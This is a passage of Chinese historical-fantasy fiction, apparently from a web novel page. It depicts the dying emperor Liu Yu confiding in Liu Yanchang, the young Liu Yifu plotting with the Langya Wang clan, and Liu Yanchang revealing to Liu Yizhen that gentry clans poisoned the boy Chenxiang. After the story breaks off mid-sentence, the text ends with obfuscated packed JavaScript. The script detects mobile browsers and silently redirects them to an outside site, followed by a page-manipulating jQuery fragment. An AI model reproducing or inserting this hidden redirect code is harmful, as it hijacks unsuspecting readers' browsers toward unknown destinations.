永初三年，暮春。


    建康宫城深处，永初殿的药气比往日更加浓重，沉郁地渗进每一寸雕梁画栋。烛火在铜鹤灯台上摇曳，将殿内人影拉扯得飘忽不定。龙榻上的刘裕半倚着，面色在昏黄光影中泛着蜡黄，那双曾令千军万马震怖的眼睛，此刻却蒙着一层浑浊的雾。


    他再次挥手，这一次，连侍立榻边的徐羡之与傅亮也躬身退了出去。


    殿内终于只剩下两人。


    “彦昌，”刘裕的声音嘶哑，却带着一种难得的松弛，“坐近些。”


    一直静立在阴影中的中年男子缓步上前。他身着寻常的青布直裰，面容清癯，眉眼间有读书人的温润，却也藏着风霜磨砺出的韧劲。他是刘彦昌，南渡的流民，土断的干吏，帝王最信任的布衣幕僚，也是那个失踪少年——刘沉香——的父亲。


    他在榻边的绣墩上坐下，姿态恭敬却无奴颜，那是多年相知形成的自然。


    “陛下该用药了。”刘彦昌轻声道，目光扫过一旁案几上早已凉透的药碗。


    “药石无用。”刘裕摇头，视线却落在自己枯瘦的双手上，“这副身子，朕自己清楚。早年在京口渔猎砍柴落下的寒湿，覆舟山一战的箭创，征讨卢循时染的瘴毒……这些年，全靠一口气撑着。”


    他顿了顿，抬眼看向刘彦昌，目光忽然变得深远：“这口气，是你家沉香当年……给朕续上的。”


    刘彦昌的脊背几不可察地绷紧了一瞬，随即恢复平静：“陛下说笑了，沉香那孩子，不过是有些勇力，承蒙陛下垂爱。”


    “不止是勇力。”刘裕的声音低了下去，仿佛陷入回忆，“那年他才多大？七岁？八岁？跟着你来军中探望，见有士卒欺压新来的流民，竟敢冲上去理论，被打得鼻青脸肿也不退。朕问他为何，他说：‘我爹说，刘伯伯是要让天下人都有饭吃，有地种的人。这些人欺负人，就不是刘伯伯的兵。’”


    刘裕的嘴角浮起一丝极淡的笑意，那笑意却迅速被苦涩淹没。


    “那么小的孩子，就懂这个道理。可朕的亲生儿子……”他叹了口气，没有说下去，转而道，“后来，他渐渐大了，武艺精进，心思剔透。朕常常想，若沉香是朕的儿子……不，即便是侄子也好。可你把他教得太好，好到……不该困在这污糟的朝堂里。”


    刘彦昌垂下眼帘：“陛下过誉。那孩子……性子太直，不懂转圜，若非陛下庇护，早不知得罪多少人。”


    “得罪人？”刘裕冷笑一声，眼中陡然射出锐光，“他得罪的，是那些趴在百姓身上吸血的蠹虫！是那些视寒门如草芥的门阀世家！彦昌，你不必替他遮掩。当年土断，清查会稽隐匿人口，他带着人一家家核验田册，揭了多少豪强的底？那些人恨他入骨，暗中下蛊……你以为朕不知道？”


    刘彦昌沉默。那场突如其来的中毒，高热嘶吼，被人说成是“妖孽”降世，引来卢循匪教之灾。可若非所谓“匪教”首领徐道覆带走他，孩子早已没命。而下手的是谁，他们心知肚明——一定是那些被动了利益的巨族。


    刘裕的声音低了下去，陷入回忆，“那年他中蛊毒，是徐道覆……”


    他提到这个名字时，眼中闪过一丝复杂的情绪。


    “徐道覆和我对峙战场，说要带沉香走。他说，只有海上的张天师能解此蛊。”刘裕闭上眼睛，“朕记得他那双眼睛，和当年在战场上一样狠厉，但说的话却让朕心惊。他说：‘刘寄奴，你若真想救这天下，就不要再犹豫。称帝，改制，推行你的土断，让寒门有路，让百姓有田。你称了帝，我徐道覆便服你。’”


    刘裕缓缓睁开眼：“那时朕才明白，他造反，不是为私仇，是为公义。他与朕，本是同路人，只是走了不同的路。”


    刘彦昌沉默。那一日，，风雨飘摇的建康城，正在被卢循和徐道覆水军围攻，而以为沉香是“妖孽”的百姓，在门外叫嚷。徐道覆背着奄奄一息的沉香离去的情景，他永生难忘。沉香在昏迷中喃喃着“爹……刘伯伯……”，而他只能眼睁睁看着儿子被带走。


    “后来，徐道覆果然带着沉香去了东海，寻到了张道陵，还遇到了法显大师。”刘裕继续道


    “他病好后，说要送法显大师的经书去长安……但我知道，他还有大事要做……你们父子，一定身负大秘密。”刘裕的声音更低了，“朕准了。那时长安还在后秦手中，但朕已准备北伐。朕想着，让那孩子去历练历练也好，等朕拿下长安，就能再见。谁曾想……”


    谁曾想，一去不回。


    “义真那孩子……”刘裕的喉咙动了动，声音有些发哽，“朕北伐拿下长安后，留他镇守。他才十二岁，却死活不肯回建康。他说，沉香哥哥是在长安失踪的，他要在那里等，要把人找回来。朕拗不过他，想着有王镇恶辅佐，应该无碍。”


    他重重叹了口气，那叹息里满是悔恨与痛楚。


    “结果呢？赫连勃勃来攻，沈田子那蠢货擅杀王镇恶，关中军心大乱……义真只顾着在逍遥园废墟里翻找沉香的踪迹，等朕的援军赶到时，长安已经丢了。他被人从瓦砾堆里拖出来时，怀里还死死抱着一块烧焦的经卷碎片……”


    刘裕剧烈咳嗽起来，刘彦昌连忙起身为他抚背。待喘息稍定，刘裕抓住刘彦昌的手，力道大得惊人。


    “彦昌，你说，这是不是报应？朕为了推行土断，世家对沉香下蛊，朕却没有深究；朕为了稳定关中，默许沈田子杀王镇恶……结果呢？沉香失踪，义真心死，长安得而复失！朕这一生，想要济世救民，却好像每一步，都踩着亲近之人的血往前走！”


    他的眼睛泛红，那是帝王极少示人的脆弱。


    刘彦昌沉默良久，才缓缓开口：“陛下，沉香……从未怪过您。他总是说，刘伯伯走的路太险，需要有人在前头开路，也需要有人……在后面收拾代价。他愿意做那个代价。”


    “可他只是个孩子！”刘裕的声音颤抖，“他本该像义真他们一样，读书、习武、无忧无虑地长大。而不是十岁就跟着你查田亩，十二岁就被人下蛊，十四岁就远赴长安……生死不明！”


    殿内陷入长久的寂静。


    烛火噼啪作响，映照着两位老人脸上的皱纹与疲惫。


    许久，刘裕松开手，从枕边摸出一卷陈旧的手札。青帛已褪色，边缘磨损，却保存得极其仔细。


    “这是沉香去长安前，托朱龄石转交给朕的。”刘裕摩挲着帛面，眼神柔软了一瞬，“他说，里面记了些他学习道法和佛法的心得，还有……他想象中‘好世道’该有的样子。朕时常翻看，看着那些稚嫩却锋利的字句，就像看见那孩子站在朕面前。”


    刘彦昌看着那卷手札，袖中的手指微微蜷缩。他知道那里面不止是心得。


    “彦昌，”刘裕忽然抬头，目光如炬，“你跟了朕多少年了？从孙恩乱时，你抱着沉香遇到我算起。”


    “二十三年了，陛下。当年，是陛下救了我们父子。”


    “二十三年……你从不肯受一官半职。朕知道，你是在保护沉香，也是在保护自己。”刘裕苦笑，“你是对的。你是朕唯一能完全信任的、与任何势力都无瓜葛的人。土断的账册，禁荫客的名录，清查豪强田亩的实据……这些东西，只有你敢握，也只有你能握稳。”


    他顿了顿，声音变得郑重：“如今，朕要走了。朕把天下，把未竟的理想，把这三个让朕放心不下的儿子，都托付出去了。可朕心里最底处，能完全托付的，只有你。”


    刘裕盯着刘彦昌的眼睛，一字一句：


    “你要替朕看着义符。他是长子，有担当，也重情，对沉香、对义真都是真心护着。可他太年轻，太急着证明自己。他以为和琅琊王氏那些子弟周旋是帝王权术，却不知那是与虎谋皮！你要看着他，莫让他被世家蛊惑，走了歪路。”


    “你要护着义真。他最像沉香，重情，信善。可这世道……容不下太多纯粹。朕伤透了他的心，他转向谢灵运那些风流名士，朕不怪他。但你要提醒他，吟风弄月的文章，救不了天下寒士。”


    “还有义隆……”刘裕的眉头紧锁，“他聪明，心思深。在荆州这些年，政事军务都处理得妥帖。可朕有时看不透他在想什么。他太像那些世家培养出来的子弟了，知道什么该说，什么不该说。这不好。为帝王者，可以狠，可以诈，却不能让人摸不透真心。若他忘了根本，你要提醒他。”


    刘彦昌的喉结滚动，想要说什么，却被刘裕打断。


    “还有这个，”刘裕将手札塞进他手中，“你收好。若将来有一天……沉香回来了，交给他。告诉他，刘伯伯……尽力了。告诉他，他想要的‘好世道’，刘伯伯没建成，对不住。”


    话音未落，那卷被刘彦昌握住的手札，忽然微微发热。


    那热度极轻，转瞬即逝，却真实不虚。


    刘裕和刘彦昌同时一震。


    刘裕浑浊的眼睛陡然睁大，看向虚空，嘴唇翕动，仿佛想呼唤什么。但最终，他只是化作一声悠长的、混合着希冀与绝望的叹息。


    “是他……”刘裕喃喃，随即摇头苦笑，“不，是朕想多了。十年了……十年生死两茫茫……”


    刘彦昌却死死攥紧手札，指节发白。只有他知道，这热度意味着什么——沉香还“在”，以一种他无法理解的方式，关注着这里。


    “彦昌，你出去吧。”刘裕疲惫地靠回锦枕，闭上眼睛，“让朕……静静。”


    刘彦昌缓缓起身，躬身行礼，将那卷犹带余温的手札仔细收入怀中。他退出寝殿时，最后回望一眼。


    龙榻上的老人闭着眼，烛火将他苍老的轮廓映在墙上，巨大、孤独、摇摇欲坠，像一座即将倾覆的山岳。而他怀中那卷手札，在无人可见的深处，正渗出一点微不可察的、清透如莲的光芒，无声地萦绕着这位即将走到生命尽头的理想主义者。


    那光里，有跨越天道与人间的悲悯，有子侄无法归来的歉疚，更有一种冰冷的预知——


    理想已如风中残烛，而吞噬它的火焰，正在他最亲近的血脉与最信任的臣子心中，悄然点燃。


    ------------------------------


    景平元年春，华林园。


    这座毗邻宫城的皇家苑囿，在少帝刘义符即位后，便成了建康城中最令人费解的景观。本是赏玩草木、宴饮赋诗的雅处，如今却被年轻的皇帝下令，在湖心岛仿照市井模样，建起了一座颇为逼真的“酒肆”。


    白日在朝堂上，刘义符依旧是那个被四位辅政大臣和满朝文武暗中摇头的“荒唐少年”——奏疏批不完便丢给徐羡之，朝会时常哈欠连天，下了朝便直奔华林园，换上粗布短衣，亲自当垆卖酒，与宫女宦官嬉笑打闹，全无帝王威仪。


    可当暮色四合，宫门下钥，华林园深处那盏孤灯亮起时，一切便不同了。


    今夜无月，湖面笼着薄雾。刘义符遣散了所有侍从，独自划着一叶扁舟，悄无声息地滑向湖心岛。他早已褪去白日那身滑稽的店小二装扮，换上了一袭玄色常服，外罩墨色斗篷，几乎与夜色融为一体。只有腰间悬着的那枚龙纹玉佩，在偶尔透出云层的微光下，闪过一丝内敛的温润。


    小船靠岸。岛上“酒肆”门窗紧闭，檐下只悬着一盏孤零零的防风灯，在夜风中轻轻摇晃。


    刘义符推开虚掩的门扉，室内早已有人在等。


    两人，一老一少，皆着便服，但气度不凡。年长者约莫四十许，面白微须，眉眼间透着经年累月的沉稳与精算，正是江州刺史王弘的心腹幕僚，琅琊王氏的家臣，王矩。年轻者是他的侄儿王昙首，虽只二十出头，却已是建康城中颇有名气的清谈名士，此刻安静地侍立在侧，目光低垂。


    “让二位久候了。”刘义符解下斗篷，随手搭在椅背上，声音平静，与白日的轻浮判若两人。


    “陛下言重。”王矩躬身行礼，姿态恭敬却无谄媚，“夜深露重，陛下为社稷如此辛劳，臣等愧不敢当。”


    刘义符在主位坐下，抬手示意二人也坐。案几上已备好清茶，而非酒。他端起茶盏，指尖无意识地摩挲着杯壁，目光扫过王矩平静的脸。


    “王刺史的信，朕看过了。”他开门见山，“江州三郡的兵额，当真能补齐？”


    王矩从怀中取出一卷绢册，双手奉上：“请陛下御览。去岁水患后，流民汇聚江州，王刺史已暗中拣选精壮，以屯田护堤为名编伍。如今可得善战之士五千，皆已暗中操练半年。粮草军械，江州府库与王氏别业，足以支应一年。”


    刘义符展开绢册，借着灯烛细看。册上名录、籍贯、编伍情况密密麻麻，数字清晰。他心中微震。琅琊王氏经营江州多年，树大根深，这份实力，比他预估的还要雄厚。


    “五千人……”他沉吟，“若只守江州门户，足矣。但若要顺流东下，呼应建康，还需水军。”


    “陛下放心。”王矩从容道，“江州楼船百艘，蒙冲斗舰皆备。只待陛下旨意，旬日之内，便可集结于湓口。”


    刘义符盯着他：“王刺史如此倾力相助，所求为何？”


    王矩微微一笑，那笑容里带着世家大族特有的、绵里藏针的从容：“陛下明鉴。王氏所求，非为私利。自永初以来，先帝厉行土断，禁荫客，限占田……法度虽善，然操之过急，天下士族，无不惶惶。陛下若肯登高一呼，稍宽其禁，复士族些许旧例，则天下归心，何必仰赖徐、傅等寒门掣肘？此乃为陛下收拢人心，稳固社稷之长策也。”


    话说得冠冕堂皇。刘义符心中冷笑。稍宽其禁？怕是想要恢复门阀垄断仕途、隐匿人口、广占田亩的特权吧。但他面上不动声色，反而露出几分深以为然的神色。


    “王卿所言甚是。先帝之法，确有过苛之处。只是……”他话锋一转，“徐羡之掌尚书台，傅亮典机要，檀道济握北府兵于广陵，谢晦领禁军卫戍台城。此四人如铁桶般将建康围住，朕即便有心，又如何施为？”


    这才是关键。没有兵权，一切都是空谈。


    王矩与王昙首交换了一个眼神。王昙首这才第一次开口，声音清朗悦耳：“陛下，四臣看似一体，实则各怀心思。徐、傅二人，寒门骤贵，与世家势同水火，固是铁板一块。谢晦出身陈郡谢氏，虽依附先帝，然家族余荫尚在，未必甘愿永居徐、傅之下。至于檀道济……”他顿了顿，“武将重利。北府兵久戍在外，粮饷仰赖朝廷，若能许以厚利，未必不能分化。”


    “分化？”刘义符挑眉。


    “正是。”王昙首侃侃而谈，“陛下可密诏檀将军，许以事成之后，加爵封邑，都督中外诸军事，总揽兵权。檀将军久在边镇，对徐、傅等文臣掌权未必心服。此乃利诱。同时，陛下可令邢安泰暗中散布流言，说徐、傅忌惮檀将军功高震主，欲削其兵权……此乃威逼。双管齐下，纵不能使其倒戈，亦可令其观望迟疑，不至全力为徐、傅所用。”


    刘义符手指轻轻敲击案几。王昙首的分析，与他这些日子暗中观察所得，颇为吻合。檀道济确是关键。若能让这位北府宿将在关键时刻按兵不动，压力便小了一半。


    “那谢晦呢？”他问。


    “谢晦……”王矩接回话头，笑容深了些，“陛下可还记得，谢晦之侄谢综，与吴兴沈氏有姻亲？沈氏自沈田子死后，在军中日渐式微，对先帝……乃至对默许沈田子杀王镇恶的徐、傅，恐怕怨念不浅。若陛下能通过谢晦，暗中安抚沈氏旧部，许以重振家声，则禁军之中，未必没有可乘之隙。”


    一环扣一环。刘义符心中既惊且佩。这些世家大族，盘根错节，对朝中各方势力的脉络、恩怨、弱点，了如指掌。与之相比，自己虽贵为天子，却像被困在蛛网中央的飞虫，所能倚仗的，竟只有父亲留下的、如今却可能反噬自己的“忠臣”。


    他感到一阵烦躁，手下意识地探入怀中，触到了一件冰冷坚硬的事物。


    那是一枚箭镞。


    青铜质地，三棱形，边缘早已磨得光滑，甚至泛着人体长期摩挲形成的温润光泽。镞尖有一处小小的、不易察觉的崩口。


    这是很多年前，沉香送给他的。


    那时他还小，沉香也才十几岁。那时候，沉香哥哥手把手教自己射箭，而父亲将他抱在怀中，他拍着胸口，发誓要和沉香哥哥学习，一样勇武明理，保护两个弟弟……


    而现在，他只有弟弟了。沉香哥哥在哪里呢？……


    “义符，这个给你。”少年沉香的笑容干净明亮，“这是我第一次射中靶心的那支箭上取下来的。我爹说，男子汉要有锐气，也要懂得藏锋。这镞尖崩了个口，不完美了，但我觉得挺好——提醒我，就算有了缺口，也一样能飞得很准，只要用的人心正。”


    他那时懵懂，只是欢喜地收下，用丝绳穿了，贴身戴了好些年。后来沉香失踪，这枚箭镞便成了他为数不多的念想之一。再后来，他决定走上这条与托孤大臣、甚至与父亲遗志暗中抗衡的路时，不知怎的，又将它翻了出来，揣在怀中。


    仿佛这样，就能从那份早已逝去的、毫无杂质的信任与勇毅中，汲取一丝力量。


    此刻，指尖摩挲着箭镞冰凉的棱面，那崩口处细微的粗糙感刮着指腹，刘义符翻腾的心绪竟奇异地平复了些许。他深吸一口气，将箭镞握紧。


    “二位之策，甚善。”他缓缓开口，目光重新变得锐利，“然兹事体大，不可不慎。联络檀道济、安抚沈氏旧部之事，须绝对机密。王刺史在江州，需加紧整备，但切莫打草惊蛇。至于朝中……”


    他身体微微前倾，压低声音：“朕已命邢安泰多次前往荆州。”


    王矩眼神一亮：“荆州那位……意下如何？”


    想起弟弟，刘义符露出真心地微笑：“三弟回信，关切兄长安危，亦对徐、傅等人专权表露忧心。他说，荆州兵精粮足，若京中有变，他必率军东下，清君侧，正朝纲。”他顿了顿，神色变得有点为难，“只是……他要朕一道明发天下的密诏，以证朕心，亦以便他号令诸州。”


    王矩抚须沉吟：“明发密诏？风险不小。若泄露……”


    “我理解三弟的担忧……但是诏书不能出宫门。”刘义符断然道，“朕已想好，将诏文藏于寻常问安家书之中，用只有朕与三弟知晓的暗语撰写。邢安泰下次出使，便夹带出去。”他看向王矩，“届时，还需王刺史在江州，与荆州互通声气，以为奥援。”


    “臣等必竭尽全力。”王矩与王昙首齐声道。


    三人又密议了近一个时辰，细化了诸多环节，直至夜深。刘义符将绢册在灯烛上点燃，看着它化为灰烬，落入铜盆。


    “今日之言，出朕之口，入二位之耳。”


    “陛下放心，臣等深知利害。”


    送走王氏叔侄，刘义符并未立刻离开。他独自坐在空旷的“酒肆”中，听着窗外湖水轻拍岸边的声音，方才密谋时的紧绷与计算渐渐褪去，一股深沉的疲惫与寒意涌了上来。


    他再次掏出那枚箭镞，握在掌心。青铜的冰冷渐渐被体温焐热，但那崩口处的粗糙感，却像是在提醒他什么。


    心正。


    沉香当年的话，毫无预兆地撞入脑海。


    他握着箭镞的手微微颤抖。自己现在走的这条路，联合门阀，算计辅政大臣，甚至暗中布局可能引发内战的血腥棋局……这算“心正”吗？


    他想起父亲临终前，握着他的手，那双浑浊的眼睛里满是忧惧：“义符……莫忘根本……寒门……天下……”


    可父亲啊，你留给我的，是一个被四位权臣把持的朝堂，一个对刘氏皇权虎视眈眈的世家集团，还有你那套激进到让所有人都喘不过气、也让你的儿子们无所适从的“理想”！徐羡之、傅亮他们，口口声声守护你的遗志，可他们看我的眼神，何尝有半分对君主的敬畏？他们防着我，就像防着一个可能败坏家业的纨绔子弟！


    我要夺回属于自己的权力，有什么错？我借助门阀的力量来制衡权臣，有什么错？难道要像义真那样，傻傻地相信什么纯粹的理想，最后连自己珍视的人都护不住，连长安都守不住吗？


    心中的戾气与自我辩护汹涌澎湃，试图压下那丝不安。


    就在这时——


    一阵毫无来由的、深彻骨髓的寒意，骤然掠过他的脊背。


    并非湖风的寒冷，而是一种更虚无、更渺茫的，仿佛来自极高极远之处的……叹息。


    那叹息无声，却仿佛直接响在他的灵台深处，带着无尽的悲悯、怅惘，还有一丝……失望？


    刘义符猛地站起，箭镞险些脱手。他环顾四周，门窗紧闭，烛火稳定，除了他自己的心跳，别无他声。


    “谁？！”他低喝，声音在空旷的室内显得干涩。


    无人应答。


    是错觉？还是连日筹谋，心神耗损过甚？


    他握紧箭镞，那崩口几乎要嵌进掌心肉里。冷汗，却悄无声息地浸湿了内衫。


    不是错觉。那种被注视、被叹息的感觉，太过真实。仿佛有一双眼睛，穿越了不可知的距离与屏障，正静静地、悲哀地看着他。


    是沉香哥哥吗？那个在他记忆中永远明亮如朝阳、却消失在长安废墟中的少年？


    不……不可能。


    他用力摇头，试图驱散这荒谬的念头。沉香失踪十年了，若还活着，怎会不回来？父亲寻过，义真找过，自己也从未放弃打探……杳无音信。只怕早已……


    那这感觉从何而来？


    是心虚吗？是对自己正在策划的、可能将国家拖入战火阴谋的……心虚吗？


    这个念头让他感到一阵刺痛般的羞怒。他刘义符是天子！他要拿回属于自己的东西，何错之有？何须心虚？！


    那股因“叹息”而生的不安与动摇，反而像投入烈火中的油，瞬间点燃了他骨子里的偏执与叛逆。


    他将箭镞紧紧攥住，直至棱角刺痛掌心，眼神重新变得冰冷而坚定。


    “不管是谁……都休想阻我。”他对着空寂的黑暗，低声说道，更像是在对自己宣誓，“这江山是父亲的，也是我的。我不想做什么圣主明君，我只想……真正地活着，而不是当一个被人摆在御座上的傀儡！”


    他吹熄了灯烛，大步走出酒肆，融入浓重的夜色。


    湖心岛上，重归寂静。


    只有那枚被他体温焐热、又迅速在夜风中冷却的箭镞，静静躺在他方才坐过的席位上，在窗外透进的微光下，泛着幽幽的、青铜特有的暗沉光泽。


    而在凡人无法感知的、属于天道秩序的层面，一缕微弱到几乎消散的神念涟漪，正从那箭镞上残留的、几乎磨灭的旧日印记中，缓缓平复。


    那涟漪里，是一个被困在天条中的少年，对人间弟弟走向悬崖时，发出的、无能为力的一声叹息。


    ---------------------------


    景平元年春，建康城西，庐陵王府


    暮色透过窗棂，在书房的青砖地上投下长长的影子。刘义真独坐案前，手中握着一卷佛经，目光却涣散地落在虚空处。经卷是旧的，边缘磨损，纸页泛黄，上面还有几处焦痕——这是当年从长安逍遥园废墟中，他亲手扒出来的残卷之一。


    门外传来轻轻的脚步声。


    “殿下，刘先生来了。”侍从低声禀报。


    刘义真猛地回神，将佛经小心翼翼收入怀中，整理了一下衣袍：“快请。”


    刘彦昌一身青衫，缓步而入。他手中提着一个食盒，脸上带着温和的笑意：“路过城南，见有刚出锅的梅花糕，想起殿下幼时最爱吃这个，便带了些来。”


    “彦昌叔。”刘义真起身相迎，神色间有几分真切的笑意，但眉宇间那股挥之不去的郁结，却逃不过刘彦昌的眼睛。


    两人在窗下对坐。刘彦昌打开食盒，热气带着梅花的清甜香气弥漫开来。刘义真拈起一块，咬了一口，却有些食不知味。


    “殿下近来睡得可好？”刘彦昌打量着他眼下的青黑。


    “尚可。”刘义真含糊应道，顿了顿，忽然抬头，“彦昌叔，你今日来得正好。我……心中有惑，想请教于你。”


    刘彦昌正色：“殿下请讲。”


    刘义真放下糕点，手指无意识地摩挲着案几边缘：“是关于……王镇恶将军之事。”


    刘彦昌心中一凛。


    “父皇子嗣中，唯我随军亲历关中。”刘义真的声音低了下去，带着少年人特有的、压抑着的激动，“我在长安，与王将军相处四月有余。他教我兵法阵图，带我巡视城防，与我讲述他祖父王猛丞相佐苻坚一统北方的往事……他说，他最大的心愿，是辅佐父皇，让关中重现‘关陇清晏，百姓安乐’的景象。”


    他的眼眶微微发红：“那样一个人，怎么会谋反？沈田子说他在青泥军营私会赫连勃勃使者，可当时王将军分明是在潼关巡查粮道！我亲眼看过他的行程文书！可为什么……为什么父皇不信？为什么徐羡之、傅亮他们，就那么急着给他定罪？甚至连审都不审，任由沈田子‘平叛’之后才上报？！”


    少年的声音颤抖起来，那是积累了多年的不解与愤懑：“长安丢了，我逃回建康，父皇责我无能，我认。可王将军呢？他尸骨未寒，就被定成叛逆！他那些旧部，散的散，贬的贬……这公平吗？！”


    刘彦昌沉默着。他想起刘裕临终前的那番话——“王镇恶之事……非如此不可。” 他知道先帝的苦衷，知道关中士族盘根错节的危险，知道那份不得不为的“默许”背后，是一个开国帝王对寒门政权脆弱的恐惧。


    但他能对刘义真说这些吗？说你的父亲为了大局，默许了一桩冤案？说那个你敬仰的忠臣，其实是死于政治算计？


    他不能。


    “殿下，”刘彦昌斟酌着开口，“先帝行事，自有深意。关中局势复杂，王将军威望太高，又出身前秦名门，难免引人忌惮。沈田子虽行事过激，但……”


    “但什么？”刘义真猛地抬头，眼中满是失望，“彦昌叔，连你也这么说吗？‘深意’？‘忌惮’？就因为这些，一个忠臣就可以不明不白地死去？那父皇一生所求的‘公正’，又在哪里？！”


    他站起身，走到窗前，背对着刘彦昌，肩膀微微发抖：“我一直以为，父皇是不同的。他和那些门阀世家不一样，他出身寒微，知道百姓疾苦，他要建立一个让贤能有位、奸佞伏诛的世道。可王将军的事……让我怕了。我怕父皇的理想，到最后也会变成另一套吃人的规矩，只不过换了一拨人来执刀。”


    刘彦昌心中一痛。他看着少年单薄却挺直的背影，仿佛看到了多年前那个在刘裕面前直言“欺负人就不是刘伯伯的兵”的小沉香。一样的赤诚，一样的眼里容不得沙子。


    可义真啊，这世道，从来不是非黑即白。


    “殿下，”他缓缓道，“先帝一生，所为者大。土断清丈，触怒了多少豪强？禁荫客、限占田，又断了多少世家财路？他所行之路，步步荆棘，处处险阻。有些事……或许并非本心，却不得不为。这其中分寸拿捏，牵一发而动全身，非置身其中，难以尽知啊。”


    他说得很慢，试图让少年理解政治的复杂与无奈。


    刘义真却转过身来，脸上露出一丝近乎讥诮的笑：“彦昌叔，你说的这些，谢灵运先生也曾与我说过。”


    刘彦昌心头一跳。


    “谢先生说，治国如同作诗，既要守格律，也要有‘逸气’。父皇的格律太严，压得人喘不过气。他说，古之贤君，皆懂‘与士大夫共天下’，懂得欣赏文章风流，懂得宽宥人之常情。”刘义真的眼神飘远，带着一种向往，“他带我去乌衣巷谢家旧宅，看他们当年雅集留下的诗稿、琴谱。那里面的气度，那种……不为俗务所累的洒脱，是我们在军营、在田亩账册里，永远见不到的。”


    刘彦昌的心沉了下去。谢灵运，陈郡谢氏如今最负盛名的才子，山水诗的开创者。他的诗固然清丽绝尘，可他那套“名士风流”的做派，背后是多少代门阀积累的财富与特权在支撑？他那份“不为俗务所累”的洒脱，又是多少像自己这样的寒门胥吏、像万千佃客农户在泥泞中劳作换来的？


    可这些话，他能对眼前这个正被“风雅”吸引的少年说吗？


    说了，他会信吗？还是会觉得自己这个满身土尘、只会查账核田的“刘先生”，根本不懂真正的“高洁”？


    “殿下，”刘彦昌最终只是叹了口气，“谢先生才华横溢，人所共知。只是……人各有志，亦各有路。先帝的路，或许刚硬了些，但那是一条想让更多人站直了活的路。”


    “……那父皇一生所求的‘公正’，又在哪里？！”刘义真转过身，眼中满是失望。


    刘彦昌沉默了更长时间，窗外的暮色似乎都随着他的沉默而更加沉重。他端起已经凉透的茶，却没有喝，只是看着杯中浮沉的茶梗。


    “殿下，”他的声音有些干涩，“您可还记得……沉香中‘重病’那一年？”


    刘义真愣了一下，情绪从激愤转为疑惑：“那一年……卢循造反，围着建康城……沉香哥哥突然就病了，如此重，您去请遍了建康名医，都无计可施。”


    “不是病。”刘彦昌抬起眼，目光深得让刘义真心头一紧，“是蛊毒。有人，就在先皇潜邸内，下了西南的蛊毒。”


    “蛊毒？”刘义真愕然，“可……可当时太医署不是说是‘恶疡’？民间还传言……”


    “传言他是妖孽，引来了卢循、徐道覆那些‘教匪’，是吗？”刘彦昌的嘴角扯出一个极苦的弧度，“殿下当时年纪小，或许不记得了。”


    刘义真愤愤道：“我自然记得。那些日子，父皇正在北伐南燕，从早到晚围着黑压压的百姓。他们扔烂菜、泼粪水，对着府门哭喊咒骂，说沉香哥哥是天降妖胎……他们忘了，就在前一年，先帝刚减免了三郡赋税，沉香哥哥还带着人给京口遭了水患的村子修过堤。所以说，百姓愚昧，难以教化！”


    “你却不知到，”刘彦昌继续道，声音平静得近乎冷酷，“沉香日夜高烧，嘶吼不断，身上浮现出暗红发黑的诡异纹路，像活物一样在皮肤下游走。他疼得咬碎了三副檀木枕，力气大得需要四个壮仆才能按住……是中了蛊毒！“


    “蛊毒？”刘义真惊讶道，“这我确实不知……不过那时，琅琊王氏、陈郡谢氏、吴兴沈氏……各家都送来了名贵药材，推荐了‘名医’，他们竟然都没看出来？”


    “那些士族？”刘彦昌笑了一声，那笑声里没有温度，“殿下，下蛊的，就是他们中的一家，或者几家。送药荐医，不过是为了近距离查看蛊毒发作情况，确认他们的手段是否起效，或者……顺便再添点什么。真正的解药，他们永远不会给。”


    “不可能！”刘义真猛地站起来，带翻了茶盏，“如果真是他们下毒，父皇怎么可能不查？怎么可能不替沉香哥哥讨个公道？！”


    “查？”刘彦昌看着他，目光里充满了刘义真无法理解的疲惫与悲哀，“怎么查？证据呢？谁看见了？哪家认了？当时卢循、徐道覆大军顺江而下，建康岌岌可危。朝中需要世家出力守城，军中需要世家私兵协防。先帝是能为了一个没有证据的猜想，一个‘侄儿’的性命，就和半个江南的士族翻脸，赌上北伐大业和好不容易稳定的朝局吗？”


    刘义真如遭雷击，呆立当场。


    “徐道覆夜闯潜邸那晚，我为何轻易让他带走沉香？先帝又为何在两军阵前，轻易放着徐道覆带走沉香？”刘彦昌的声音低了下去，仿佛在陈述一个与自己无关的故事，“因为我和先帝，比谁都清楚毒是谁下的，也比谁都清楚，这毒在建康解不了。徐道覆说海上有张天师能解，我和先帝只能信，只能放。哪怕徐道覆是‘逆匪’，哪怕此举会招来非议。因为这是唯一的生路。”


    他看着刘义真苍白震惊的脸，缓缓道：“殿下，这就是您要的‘真相’。先帝知道，我知道，下蛊的人也知道。但这件事，永远不会有‘公道’。就像王镇恶将军之死，也不会有一个能摆在明面上、让所有人都信服的‘说法’。有些刀，是看不见的；有些公道，是争不来的。因为你要争的公道背后，可能是万千将士的粮饷断供，是江北防线的瞬间崩塌，是更多你认识或不认识的人，无声无息地死去。”


    刘义真踉跄后退，扶住窗棂才站稳。他的世界观正在剧烈摇晃。他一直以为的非黑即白，他信奉的善恶有报，在刘彦昌平静而残酷的叙述中，碎成了一地无法拼凑的碎片。


    “所以……”他的声音发颤，“所以父皇的‘公正’……是假的？是只能对弱者、对无关紧要的人施行的？”


    “不。”刘彦昌斩钉截铁，“是先帝选择了更大的‘公正’。他选择先保住更多百姓不受战火，选择先推行能让千万寒门有田种、有书读的土断。沉香的委屈，王将军的冤屈，是他的代价，也是……他必须背负的罪孽。殿下，这就是您父皇走过的路——一条必须把心磨硬，把眼泪咽回去，才能继续往前走的窄路。”


    刘义真剧烈地喘息着，他无法接受，却又无法反驳。脑海中闪过王镇恶教他兵法时温和的脸，闪过沉香病中模糊的嘶吼，闪过百姓咒骂的画面，闪过世家名士们吟风弄月的优雅从容……这些画面交织冲撞，让他头痛欲裂。


    “我不信……”他喃喃道，更像是在说服自己，“如果真是这样……如果父皇明知沉香哥哥受此大冤，却只能隐忍……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082761|193483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


